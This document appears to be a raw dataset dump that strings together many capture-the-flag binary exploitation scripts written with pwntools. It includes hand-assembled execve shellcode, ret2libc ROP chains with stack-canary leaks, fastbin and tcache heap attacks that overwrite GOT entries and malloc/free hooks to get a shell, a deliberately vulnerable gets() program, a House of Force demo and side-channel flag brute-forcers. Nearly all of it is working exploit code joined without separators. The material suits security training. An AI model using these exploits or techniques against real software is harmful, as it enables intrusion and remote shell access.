deardaniel/secdata-raw huggingface dataset:
from pwn import *

target = process('speedrun-006')
gdb.attach(target, gdbscript='pie b *0x9fe')

'''
shellcode to scan in additional shellcode
[PII_REDACTED] <_start>:
  400080:   b2 ff                   mov    dl,0xff
  400082:   48 8d 35 f8 ff ff ff    lea    rsi,[rip+0xfffffffffffffff8]        # 400081 <_start+0x1>
  400089:   48 83 c6 43             add    rsi,0x43
  40008d:   0f 05                   syscall
  40008f:   ff e6                   jmp    rsi
'''

# mov    dl,0xff
scan = "\xb2\xff"

# nops
scan += "\x90\x90\x90\x90\x90\x90\x90"

# lea    rsi,[rip+0xfffffffffffffff8]
scan += "\x48\x8d\x35\xf8\xff\xff\xff"

# nops
scan += "\x90"*2

# add    rsi,0x43
scan += "\x48\x83\xc6\x43"

# syscall
scan += "\x0f\x05"

# jmp rsi
scan += "\xff\xe6"

# send the shellcode, and pause to ensure input is scanned in correctly
target.send(scan)
raw_input()

'''
Secondary shellcode to pop a shell without push/pop
[PII_REDACTED] <_start>:
  400080:   b0 3b                   mov    al,0x3b
  400082:   48 8d 3d f8 ff ff ff    lea    rdi,[rip+0xfffffffffffffff8]        
  400089:   48 b9 2f 62 69 6e 2f    movabs rcx,0x68732f6e69622f
  400090:   73 68 00
  400093:   48 89 0f                mov    QWORD PTR [rdi],rcx
  400096:   48 31 f6                xor    rsi,rsi
  400099:   48 31 d2                xor    rdx,rdx
  40009c:   0f 05                   syscall
'''
# mov    al,0x3b
shellcode = "\xb0\x3b"

# lea    rdi,[rip+0xfffffffffffffff8]
shellcode += "\x48\x8d\x3d\xf8\xff\xff\xff"

# movabs rcx,0x68732f6e69622f
shellcode += "\x48\xb9\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x00"

# mov    QWORD PTR [rdi],rcx
shellcode += "\x48\x89\x0f"

#xor    rsi,rsi
shellcode += "\x48\x31\xf6"

#xor    rdx,rdx
shellcode += "\x48\x31\xd2"

#syscall
shellcode += "\x0f\x05"

# Send the secondary shellcode
target.send(shellcode)

target.interactive()
# Import pwntools
from pwn import *

target = process("./svc", env={"LD_PRELOAD":"./libc-2.23.so"})
gdb.attach(target)

elf = ELF('svc')


# 0x[PII_REDACTED]400ea3 : pop rdi ; ret
popRdi = p64(0x400ea3)

gotPuts = p64(0x602018)
pltPuts = p64(0x4008cc)

offsetPuts = 0x6f690
offsetSystem = 0x45390
offsetBinsh = 0x18cd57
#offsetPuts = 0x83cc0
#offsetSystem = 0x52fd0
#offsetBinsh = 0x1afb84

startMain = p64(0x400a96)

# Establish fucntions to handle I/O with the target
def feed(data):
	print target.recvuntil(">>")
	target.sendline('1')
	print target.recvuntil(">>")
	target.send(data)

def review():
	print target.recvuntil(">>")
	target.sendline('2')
	#print target.recvuntil("[*]PLEASE TREAT HIM WELL.....\n-------------------------\n")
	#leak = target.recvuntil("-------------------------").replace("-------------------------", "")
	print target.recvuntil("0"*0xa9)
	canaryLeak = target.recv(7)
	canary = u64("\x00" + canaryLeak)
	print "canary is: " + hex(canary)
	return canary

def leave():
	print target.recvuntil(">>")
	target.sendline("3")

# Start of with the canary leak. We will overflow the buffer write up to the stack canary, and overwrite the least signifcant byte of the canary
leakCanary = ""
leakCanary += "0"*0xa8 # Fill up space up to the canary
leakCanary += "0" # Overwrite least significant byte of the canary



feed(leakCanary) # Execute the overwrite

canary = review() # Leak the canary, and parse it out

# Start the rop chain to give us a libc infoleak
leakLibc = ""
leakLibc += "0"*0xa8 # Fill up space up to the canary
leakLibc += p64(canary) # Overwrite the stack canary with itself
leakLibc += "1"*0x8 # 8 more bytes until the return address
leakLibc += popRdi # Pop got entry for puts in rdi register
leakLibc += gotPuts # GOT address of puts
leakLibc += pltPuts # PLT address of puts
leakLibc += startMain # Loop back around to the start of main

# Send the payload to leak libc
feed(leakLibc)

# Return to execute our code
leave()

# Scan in and parse out the infoleak

print target.recvuntil("[*]BYE ~ TIME TO MINE MIENRALS...\x0a")

putsLeak = target.recvline().replace("\x0a", "")

putsLibc = u64(putsLeak + "\x00"*(8-len(putsLeak)))

# Calculate the needed addresses

libcBase = putsLibc - offsetPuts
systemLibc = libcBase + offsetSystem
binshLibc = libcBase + offsetBinsh

print "libc base: " + hex(libcBase)

# Form the payload to return to system

payload = ""
payload += "0"*0xa8
payload += p64(canary)
payload += "1"*0x8
payload += popRdi # Pop "/bin/sh" into the rdi register, where it expects it's argument (single char pointer)
payload += p64(binshLibc) # Address to '/bin/sh'
payload += p64(systemLibc) # Libc address of system

# Send the final payload
feed(payload)

target.sendline("3")

#feed(payload)

# Return to execute our code, return to system and get a shell
#leave()

target.interactive()
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}
from pwn import *

# Establish the target
target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF('libc-2.27.so')
#gdb.attach(target)

print target.recvuntil("ere I am: ")

# Scan in the infoleak
leak = target.recvline()
leak = leak.strip("\n")

base = int(leak, 16) - libc.symbols['printf']

print "wooo:" + hex(base)

# Calculate oneshot gadget
oneshot = base + 0x4f322

payload = ""
payload += "0"*0x28         # Offset to oneshot gadget
payload += p64(oneshot)     # Oneshot gadget

# Send the payload
target.sendline(payload)

target.interactive()
import TheNight
from pwn import *


target = remote("chal.utc-ctf.club", 4902)
libc = ELF("libc6_2.27-3ubuntu1_i386.so")

#target = process("./server")
elf = ELF('server')


payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["vuln"])
payload += p32(elf.got["puts"])

target.sendline(payload)


for i in range(0, 2):
    print target.recvuntil("Return address:")


for i in range(0, 2):
    print target.recvline()


leak0 = target.recvline()[0:4]

puts = u32(leak0)

libcBase = puts - libc.symbols["puts"]

print "libc base: " + hex(libcBase)

binshOffset = 0x17e0cf

payload1 = ""
payload1 += "0"*0x3c
payload1 += p32(libcBase + libc.symbols["system"])
payload1 += p32(0x30303030)
payload1 += p32(libcBase + binshOffset)

target.sendline(payload1)

target.interactive()
import TheNight
from pwn import *


target = remote("chal.utc-ctf.club", 4902)
#target = process("./server")
elf = ELF('server')

#gdb.attach(target, gdbscript = 'b *0x804863f')

payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["puts"])
payload += p32(elf.got["puts"])
payload += p32(elf.got["gets"])

target.sendline(payload)


for i in range(0, 2):
    print target.recvuntil("Return address:")


for i in range(0, 2):
    print target.recvline()


leak0 = target.recvline()[0:4]
leak1 = target.recvline()[0:4]

puts = u32(leak0)
gets = u32(leak1)

print "puts address: " + hex(puts)
print "gets address: " + hex(gets)

TheNight.findLibcVersion("puts", puts, "gets", gets)

target.interactive()
from pwn import *

# Establisht the target
target = process('./storytime', env={"LD_PRELOAD":"./libc.so.6"})
gdb.attach(target)
#gdb.attach(target, gdbscript = 'b *0x40060e')
#target = remote("pwn.hsctf.com", 3333)

# Establish the libc version
libc = ELF('libc.so.6')
#libc = ELF('libc-2.27.so')


#0x[PII_REDACTED]400701 : pop rsi ; pop r15 ; ret
popRsiR15 = p64(0x400701)

# Got address of write
writeGot = p64(0x601018)

# Filler to reach the return address
payload = "0"*0x38

# Pop the got entry of write into r15
payload += popRsiR15
payload += writeGot
payload += p64(0x[PII_REDACTED]303030) # Filler value will be popped into r15

# Right before write call in end
payload += p64(0x400601)

# Filler value that will be popped off in end
payload += p64(0x[PII_REDACTED]303030)

# Address of climax, we will exploit another buffer overflow to use the rop gadget
payload += p64(0x40060e)

# Send the payload
target.sendline(payload)

# Scan in some of the output
print target.recvuntil("Tell me a story: \n")

# Scan in and filter out the libc infoleak, calculate base of libc
leak = u64(target.recv(8))
base = leak - libc.symbols["write"]
print hex(base)

# Calculate the oneshot gadget
oneshot = base + 0x4526a

# Make the payload for the onshot gadget
payload = "1"*0x38 + p64(oneshot)

# Send it and get a shell
target.sendline(payload)
target.interactive()
from pwn import *
import struct

# Establish values for the rop chain
putsPlt = 0x400690
putsGot = 0x602020
popRdi = 0x400a83

startMain = 0x400993
oneShot = 0x4f2c5

# Some helper functions to help with the float input
# These were made by qw3rty01
pf = lambda x: struct.pack('f', x)
uf = lambda x: struct.unpack('f', x)[0]

# Establish the target, and the libc file
#target = remote("challenges.fbctf.com", 1341)
target = process('./overfloat', env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(target)

# If for whatever reason you are using a different libc file, just change it out here and it should work
libc = ELF('libc-2.27.so')

# A helper function to send input, made by a team mate
def sendVal(x):
    v1 = x & ((2**32) - 1)
    v2 = x >> 32
    target.sendline(str(uf(p32(v1))))
    target.sendline(str(uf(p32(v2))))

# Fill up the space between the start of our input and the return address
for i in xrange(7):
    sendVal(0xdeadbeefdeadbeef)

# Send the rop chain to print libc address of puts
# then loop around to the start of main

sendVal(popRdi)
sendVal(putsGot)
sendVal(putsPlt)
sendVal(startMain)

# Send done so our code executes
target.sendline('done')

# Print out the target output
print target.recvuntil('BON VOYAGE!\n')

# Scan in, filter out the libc infoleak, calculate the base
leak = target.recv(6)
leak = u64(leak + "\x00"*(8-len(leak)))
base = leak - libc.symbols['puts']

print "libc base: " + hex(base)

# Fill up the space between the start of our input and the retun address
# For the second round of exploiting the bug
for i in xrange(7):
    sendVal(0xdeadbeefdeadbeef)

# Overwrite the return address with a onegadget
sendVal(base + oneShot)

# Send done so our rop chain executes
target.sendline('done')

target.interactive()
#include <stdio.h>
#include <stdlib.h>

unsigned long target;

int main(void)
{
	puts("So let's cover House of Force.");
	puts("With this Hose Attack, our goal is to get malloc to allocate a chunk outside of the heap.");
	puts("To do this, we will attack the wilderness value, which specifies how much space is left in the wilderness.");
	puts("The wilderness is space that has been mapped to the heap, yet has not been allocated yet.");
	puts("We will overwrite this value with a larger value, so we can get malloc to allocate space outside of the heap.");
	puts("Let's get started.\n");

	puts("Our goal will be to get malloc to return a pointer to the bss variable.");
	printf("Variable Address:\t%p\n\n", &target);


	puts("So let's start off by allocating a chunk. We will use this to set up the heap, and as a reference to overwrite the wilderness value.\n");
	unsigned long *ptr = malloc(0x10);

	puts("Now using some sort of bug, we can overwrite the wilderness value to a much larger value.");

	printf("Old Wilderness: 0x%lx\n", ptr[3]);

	ptr[3] = 0xffffffffffffffff;
	
	printf("New Wilderness: 0x%lx\n\n", ptr[3]);


	puts("Now that we have increased the wilderness value significantly, let's allocate some chunks.");
	puts("The first chunk will be massive, and will align the heap right up to the target address.");
	puts("Then when we allocate the second chunk, it will overlap directly with the target chunk.\n");


	puts("Now for how much space to allocate is pretty similar.");
	puts("It will be (targetAddress - wilderness - 0x20).");
	puts("Where targetAddress is the address we are trying to get malloc to allocate.");
	puts("The wilderness value is the address of the start of the value, which is the previous qword from the wilderness value.");
	puts("The 0x20 is four 4 qwords, because each of the two chunks takes 2 qwords (0x10 bytes) of space for the heap metadata.\n");

	unsigned long *wilderness = &ptr[2];
	unsigned long offset = (unsigned long)&target - (unsigned long)wilderness - sizeof(long)*4;


	printf("Target Address:\t\t%p\n", &target);
	printf("Wilderness Address:\t%p\n", wilderness);
	printf("Malloc Size:\t\t%lx\n\n", offset);
	printf("Now to allocate the first chunk.\n\n");

	unsigned long *chunk0, *chunk1;

	chunk0 = malloc(offset);

	printf("We can see that we allocated a chunk at:\t%p\n", chunk0);
	printf("With that the heap should be aligned so the next malloc gives us our target address.\n\n");
	chunk1 = malloc(0x10);

	printf("Chunk allocated at:\t%p\n\n", chunk1);

	puts("With that, we got our target chunk!");
}
from pwn import *

#target = remote("pwn.chal.csaw.io", 1008)
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(target, gdbscript='pie b *0xbca')


elf = ELF("popping_caps")
libc = ELF("libc.so.6")

leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)

libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)

def pl():
    print target.recvuntil("Your choice:")

def malloc(x):
    pl()
    target.sendline("1")
    print target.recvuntil("How many:")
    target.sendline(str(x))

def write(x):
    pl()
    target.sendline("3")
    print target.recvuntil("Read me in:")
    target.send(x)

def free(x):
    pl()
    target.sendline("2")
    print target.recvuntil("Whats in a free:")
    target.sendline(str(x))



malloc(0)

free(-592)

malloc(0x240)

payload = p64(0x1) + p64(0x0)*7 + p64(libcBase + libc.symbols["__free_hook"]) + "/bin/sh\x00"

write(payload)

malloc(0)

write(p64(libcBase + libc.symbols["system"]))

free(-2333262)

target.interactive()
from pwn import *

target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})

#target = remote("pwn.chal.csaw.io", 1001)
libc = ELF("libc.so.6")
#gdb.attach(target, gdbscript = 'pie b *0xc44')

mallocHook = 0x3ebc30
salvation = 0x3ebb90

leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)

libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)

def pl():
    print target.recvuntil("Your choice:")

def malloc(x):
    pl()
    target.sendline("1")
    print target.recvuntil("How many:")
    target.sendline(str(x))

def write(x):
    pl()
    target.sendline("3")
    print target.recvuntil("Read me in:")
    target.send(x)

def free(x):
    pl()
    target.sendline("2")
    print target.recvuntil("Whats in a free:")
    target.sendline(str(x))


mallocHook = libcBase + libc.symbols["__malloc_hook"]
salvation = libcBase + salvation
print "malloc hook: " + hex(libcBase + libc.symbols["__malloc_hook"])
print "free hook: " + hex(libcBase + libc.symbols["__free_hook"])
print "salvation: " + hex(salvation)


malloc(0x3a0)

free(0)

free(-528)

malloc(0xf0)

write(p64(mallocHook))

malloc(0x0)

write(p64(libcBase + 0x10a38c))

target.interactive()
from pwn import *

# Establish the target binary and libc version
target = process('./auir', env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./auir')
libc = ELF('libc-2.23.so')
#gdb.attach(target)

#Establish the functions to interact with the elf
def makeZealot(size, content):
	target.recvuntil(">>")
	target.sendline('1')
	target.recvuntil(">>")
	target.sendline(str(size))
	target.recvuntil(">>")
	target.send(content)

def destroyZealot(index):
	target.recvuntil(">>")
	target.sendline('2')
	target.recvuntil(">>")
	target.sendline(str(index))

def fixZealot(index, size, content):
	target.recvuntil(">>")
	target.sendline('3')
	target.recvuntil(">>")
	target.sendline(str(index))
	target.recvuntil(">>")
	target.sendline(str(size))
	target.recvuntil(">>")
	target.send(content)

def showZealot(index):
	target.recvuntil(">>")
	target.sendline('4')
	target.recvuntil(">>")
	target.sendline(str(index))

# Make the inital chunks for the libc infoleak
makeZealot(0xf0, "0"*0xf0)#	0
makeZealot(0x70, "1"*0x70)#	1
makeZealot(0xf0, "2"*0xf0)#	2
makeZealot(0x30, "3"*0x30)#	3

# Free the bottom to chunks, to align arena libc pointer with chunk 2
destroyZealot(3)
destroyZealot(2)

# Leake the libc pointer stored in chunk 2
showZealot(2)

# Parse out the infoleak, calculate libc base
target.recvuntil("[*]SHOWING....\n")

leak = target.recvuntil("|").strip("|")
leak = u64(leak + "\x00"*(8 - len(leak)))
libcBase = leak - 0x3c4b78

print "libc base: " + hex(libcBase)

# Calculate the address of the fake chunk
fakeChunk = 0x605310 - 0x23

# Make our two chunks for the fastbin attack
makeZealot(0x60, "1"*0x60)# 4
makeZealot(0x60, "2"*0x60)# 5

# Free those two chunks
destroyZealot(4)
destroyZealot(5)

# Edit chunk 5 which is on top of the fastbin list, overwrite the pointer to the next fastbin with our fakechunk address
fixZealot(5, 0x60, p64(fakeChunk) + p64(0) + "0"*80)

# Allocate a new chunk, move our fake chunk to the top of the fastbin list
makeZealot(0x60, "6"*0x60)# 6

# Allocate a new chunk, which will be our fake chunk right before the heap ptrs stored in the bss
makeZealot(0x60, "0")# 7

# Overwrite the first heap ptr with the got table entry for free
fixZealot(7, 0x1b, '0'*0x13 + p64(elf.got['free']))

# Overwrite got entry for free with system
fixZealot(0, 0x8, p64(libcBase + libc.symbols['system']))

# Write the string `/bin/sh` to chunk 1
fixZealot(1, 0x9, "/bin/sh\x00")

# Free chunk 1 to call system("/bin/sh")
destroyZealot(1)

# Drop to an interactive shell to use our newly popped shell
target.interactive()
# pico ctf 2018 strings

The goal of this challenge is to find the flag

Let's take a look at the binary:

```
$    file strings
strings: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e337b489c47492dd5dff90353eb227b4e7e69028, not stripped
$    ./strings
Have you ever used the 'strings' function? Check out the man pages!
```

So we can see that we are dealing with a `64` bit binary. When we run it, it tells us about `strings`. Strings is a program which will parse through a file, and display ascii strings it finds. Ghidra, binja, and a lot of other binary analysis tools also have this functionality. Let's try using `strings`

```
$    strings strings | grep {
picoCTF{sTrIngS_sAVeS_Time_3f712a28}
```

Like that, we found the flag! The flag was stored as a string within the binary, so using `strings` we can see it.
from pwn import *

import os
import sf
import sys
import signal

target = process("./rop", env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(target)
bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x28)
rop_chain = [4195971, 6295576, 4195488, 4195804]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)
target.recvline()
leak = target.recvuntil(b"\n").strip(b"\n")
puts_address = u64(leak + b"\x00"*(8-len(leak)))
libc_base = puts_address - (526896)
print("libc base is: %s" % hex(libc_base))
bof_payload = sf.BufferOverflow(arch = 64)
bof_payload.add_base("libc", libc_base)
bof_payload.set_input_start(0x28)
bof_payload.set_ret(0x10a45c, "libc")
payload = bof_payload.generate_payload()
target.sendline(payload)

# Exploit Verification starts here 15935728


target.interactive()
from pwn import *

import sf
import time

import sys

target = process("./rop", env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(target, gdbscript="get_libc_puts_address")

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x28)
rop_chain = [4195971, 6295576, 4195488]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)
foundEnd = False
output = b""
while foundEnd == False:
	try:
		output += target.recvline()
	except:
		foundEnd = True
if len(output) == 0:
		
		output_file = open("justifies", "w")
		output_file.write("")
		output_file.close()
		sys.exit(0)

putsFile = open("far-cry", "r")
putsAddress = putsFile.read()
putsFile.close()
putsAddress = int(putsAddress, 16)
outputLines = output.split(b"\n")
if len(outputLines) == 1:
	leakLine = outputLines[0]
else:
	leakLine = outputLines[-2]
workingLeakLine = leakLine.strip(b"\n")
lineLength = 8
if len(workingLeakLine) < 8:
	lineLength = len(workingLeakLine)
hexValues = []

for i in range(1, lineLength + 1):
		currentLeak = workingLeakLine[-i:]

		currentAddress = u64(currentLeak + b"\x00"*(8-len(currentLeak)))
		print(hex(currentAddress))
		if currentAddress == putsAddress:
			savedIndex = i
			break
finalFiller_output = leakLine[:-savedIndex]
filler_output = outputLines[:-2]
filler_output.append(finalFiller_output)
filler_output = b"\\n".join(filler_output)
output_file = open("justifies", "wb")
output_file.write(filler_output)
output_file.close()
from pwn import *

import os
import sf
import sys
import signal

target = process("./rop", env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(target, gdbscript="verify_exploit")
bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x28)
rop_chain = [4195971, 6295576, 4195488, 4195804]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)
target.recvline()
leak = target.recvuntil(b"\n").strip(b"\n")
puts_address = u64(leak + b"\x00"*(8-len(leak)))
libc_base = puts_address - (526896)
print("libc base is: %s" % hex(libc_base))
bof_payload = sf.BufferOverflow(arch = 64)
bof_payload.add_base("libc", libc_base)
bof_payload.set_input_start(0x28)
bof_payload.set_ret(0x10a45c, "libc")
payload = bof_payload.generate_payload()
target.sendline(payload)

# Exploit Verification starts here 15935728

time.sleep(.5)
# Import the libraries
from subprocess import *
import string
import sys

# Establish the command to count the number of instructions, pipe output of command to /dev/null
command = "perf stat -x : -e instructions:u " + sys.argv[1] + " 1>/dev/null"

# Establish the empty flag
flag = ''


while True:
    # Reset the highest instruction value and corresponding character
    ins_count = 0
    count_chr = ''
    # Iterate Through all printable characters
    for i in string.printable:
        # Start a new process for the new character
        target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT, shell=True)
        # Give the program the new input to test, and grab the store the output of perf-stat in target_output
        target_output, _ = target.communicate(input='%s\n'%(flag + i))
        # Filter out the instruction count
        instructions = int(target_output.split(':')[0])
        # Check if the new character has the highest instruction count, and if so record the instruction count and corresponding character
        if instructions > ins_count:
            count_chr = i
            ins_count = instructions
    # Add the character with the highest instruction count to flag, print it, and restart
    flag += count_chr
    print flag
# Import the libraries
from subprocess import *
import string
import sys

#Establish the command to count the number of instructions
command = "perf stat -x : -e instructions:u " + sys.argv[1] + " 1>/dev/null" 
flag = 'flag{'
while True:
	ins_count = 0
	count_chr = ''
	for i in (string.lowercase + string.digits):
		target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT, shell=True)
		target_output, _ = target.communicate(input='%s\n'%(flag + i))
		instructions = int(target_output.split(':')[4])
		#print hex(instructions)
		if instructions > ins_count:
			count_chr = i
			ins_count = instructions
	flag += count_chr
	print flag
from pwn import *

# Establish the target
target = process('./bad_file', env={"LD_PRELOAD":"./libc6.so"})
#gdb.attach(target)

# Get through the initial prompt and temp_name functions
# Make sure to go the UAF route
target.sendline("1")
target.sendline("15935728")

# Make the payload
payload = "/bin/sh\x00"
payload += "0"*0x80
payload += p64(0x6010b0)
payload += "1"*0x48
payload += p64(0x601038 - 0x40)

# Wait for it to prompt us for a new name
print target.recvuntil("new name.")

# Send the exploit
target.send(payload)

# Drop to an interactive shell to use the shell
target.interactive()